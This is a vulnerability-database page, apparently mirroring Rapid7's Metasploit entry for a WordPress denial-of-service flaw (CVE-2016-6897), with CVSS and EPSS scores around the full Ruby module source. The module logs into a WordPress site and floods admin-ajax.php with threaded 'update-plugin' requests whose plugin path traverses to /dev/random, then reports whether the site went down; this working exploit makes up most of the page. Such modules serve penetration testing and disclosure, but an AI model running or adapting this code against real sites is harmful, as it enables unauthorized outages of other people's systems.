Lucene search

K
metasploitYorick Koster, CryptisStudentsMSF:AUXILIARY-DOS-HTTP-WORDPRESS_DIRECTORY_TRAVERSAL_DOS-
HistoryApr 30, 2017 - 1:03 p.m.

WordPress Traversal Directory DoS

2017-04-3013:03:48
Yorick Koster, CryptisStudents
www.rapid7.com
43

7.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

5.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:N/A:P

0.327 Low

EPSS

Percentile

97.0%

Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 allows remote attackers to hijack the authentication of subscribers for /dev/random read operations by leveraging a late call to the check_ajax_referer function, a related issue to CVE-2016-6896.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Traversal Directory DoS',
      'Description'     =>  %q{
        Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin
        function in wp-admin/includes/ajax-actions.php in WordPress before 4.6
        allows remote attackers to hijack the authentication of subscribers
        for /dev/random read operations by leveraging a late call to
        the check_ajax_referer function, a related issue to CVE-2016-6896.},
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Yorick Koster',           # Vulnerability disclosure
          'CryptisStudents'          # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2016-6897'],
          ['EDB', '40288'],
          ['OVE', 'OVE-20160712-0036']
        ],
    ))

    register_options(
      [
        OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),
        OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
        OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),
        OptInt.new('DEPTH', [true, 'The depth of the path', 10]),
        OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
        OptString.new('PASSWORD', [true, 'The password to send the requests with', ''])
        ])
  end

  def rlimit
    datastore['RLIMIT']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def thread_count
    datastore['THREADS']
  end

  def timeout
    datastore['TIMEOUT']
  end

  def depth
    datastore['DEPTH']
  end

  def user_exists(user)
    exists = wordpress_user_exists?(user)
    if exists
      print_good("Username \"#{user}\" is valid")
      return true
    else
      print_error("\"#{user}\" is not a valid username")
      return false
    end
  end

  def run
    if wordpress_and_online?
      print_status("Checking if user \"#{username}\" exists...")
      unless user_exists(username)
        print_error('Aborting operation - a valid username must be specified')
        return
      end

      starting_thread = 1

      cookie  = wordpress_login(username, password)
      store_valid_credential(user: username, private: password, proof: cookie)
      if cookie.nil?
        print_error('Aborting operation - failed to authenticate')
        return
      end

      path = "/#{'../' * depth}dev/random"

      while starting_thread < rlimit do
        ubound = [rlimit - (starting_thread - 1), thread_count].min
        print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")

        threads = []
        1.upto(ubound) do |i|
          threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
            begin
              # shell code
              res = send_request_cgi( opts = {
                'method' => 'POST',
                'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
                'vars_post' => {
                  'action' => 'update-plugin',
                  'plugin' => path
                },
                'cookie' => cookie
              }, timeout = 0.2)
            rescue => e
              print_error("Timed out during request #{(starting_thread - 1) + i}")
            end
          end
        end

        threads.each(&:join)

        print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
        starting_thread += ubound
      end

      if wordpress_and_online?
        print_error("FAILED: #{target_uri} appears to still be online")
      else
        print_good("SUCCESS: #{target_uri} appears to be down")
      end

    else
      print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
    end
  end
end

7.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

5.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:N/A:P

0.327 Low

EPSS

Percentile

97.0%